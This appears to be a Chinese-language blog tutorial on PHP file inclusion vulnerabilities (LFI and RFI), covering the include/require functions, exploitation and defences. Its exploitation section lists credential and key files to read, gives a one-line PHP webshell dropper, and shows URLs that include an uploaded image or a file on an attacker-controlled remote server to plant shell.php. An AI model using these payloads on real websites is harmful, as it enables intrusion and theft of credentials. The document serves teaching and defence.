File Inclusion

一、原理

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。
通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码。

文件包含相关函数:include()include_once()require()require_once()

include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。
include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。
require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

二、分类

1. 本地文件包含 LFI

当被包含的文件在服务器本地时,就叫本地文件包含。

2. 远程文件包含 RFI

当被包含的文件在第三方服务器时,就叫远程文件包含。
需要开启 php.ini 中的allow_url_fopenallow_url_include

三、利用

1、直接进行文件的遍历读取(读取敏感信息):

Windows:
C:\boot.ini  //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml  //IIS配置文件
C:\Windows\repair\sam  //存储系统初次安装的密码
C:\Program Files\mysql\my.ini  //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD  //mysql root
C:\Windows\php.ini  //php配置信息
C:\Windows\my.ini  //mysql配置信息
...
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
...

2、解析符合php规范的任何文件(本地包含配合文件上传):
可以利用文件包含函数可以解析任何符合PHP规范的文件的特性,结合文件上传获取webshell。

利用过程:
(1) 上传Web应用指定类型的文件,如:shell.jpg(需要确认文件上传后的绝对路径)
<?fputs(fopen("shell.php","w"),"<?php @eval($_POST[topo]);?>")?>
(2) 使用文件包含漏洞,直接解析上传的非php后缀的文件,获取webshell。
访问URL:http://www.xxx.com/index.php?page=./shell.jpg 在本地生成shell.php

3、远程包含Shell
(1) 先写一个test.txt文件,保存在自己的远程服务器yyy上,内容如下:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[topo]);?>")?>
(2) 则可以通过访问:http://www.xxx.com/index.php?page=http://www.yyy.com/test.txt
则会在服务器根目录下生产一个shell.php

四、防御

  1. 严格检查变量是否已经初始化。
  2. 严格判断包含中的参数是否外部可控。
  3. 基于白名单的包含文件验证,验证被包含的文件是否在白名单中。
  4. 尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include("func.php")。
  5. 对所有输入提交可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现../之类的目录跳转符。
  6. 可以通过调用str_replace()函数实现相关敏感字符的过滤,一定程度上防御了远程文件包含。

Topo
199 声望38 粉丝

"the quieter you become, the more you are able to hear."